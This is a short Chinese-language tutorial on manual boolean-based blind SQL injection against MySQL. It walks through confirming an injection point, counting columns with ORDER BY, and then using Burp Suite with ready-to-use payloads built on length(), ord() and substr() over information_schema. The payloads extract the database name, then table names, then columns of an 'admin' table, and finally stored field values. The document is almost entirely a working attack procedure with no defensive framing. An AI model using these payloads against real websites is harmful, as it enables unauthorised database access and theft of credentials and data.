MySQL手工布尔盲注
(1)测试注入点
(1.1)链接后加 ’ 号页面报错,爆出错误信息
(1.2)链接后加 ’ and 1=1–+ 返回页面正常
(1.3)链接后加 ’ and 1=2–+ 返回页面错误
(2)爆数据库相关信息
(2.1)使用 order by 语句爆出表字段数为8
(2.2)使用 union select 发现语句报错,此时不能使用联合查询语句,于是想到了布尔注入
(2.3)使用Burpsuite 爆数据库相关信息
' and length(database())=数值--+ #判断数据库名长度,
' and ord(substr( database(),1,1))=32--+ #数据库名对应位数的ASCLL码
' and substr( database(),1,1)=‘a’--+ #数据库名对应位数的值,推荐使用ASCLL码,使用二分法判断更加快速
(2.4)爆数据库表名
改变数值查询出想要的表名,此时也可以使用Burpsuite
' and ord(substr((select table_name from information_schema.tables where table_schema='表名' limit 0,1),1,1))=32--+ #表名对应位数的ASCLL码
' and substr((select table_name from information_schema.tables where table_schema='表名' limit 0,1),1,1)=‘a’--+ #表名对应位数的值
(2.5)爆表字段名
' and ord(substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1))=32--+
' and substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1)='a'--+
(2.6)爆字段值
' and ord(substr((select 字段名 from 表名 limit 0,1),1,1))=32--+
' and ord(substr((select 字段名 from 表名 where id=1),1,1))=32--+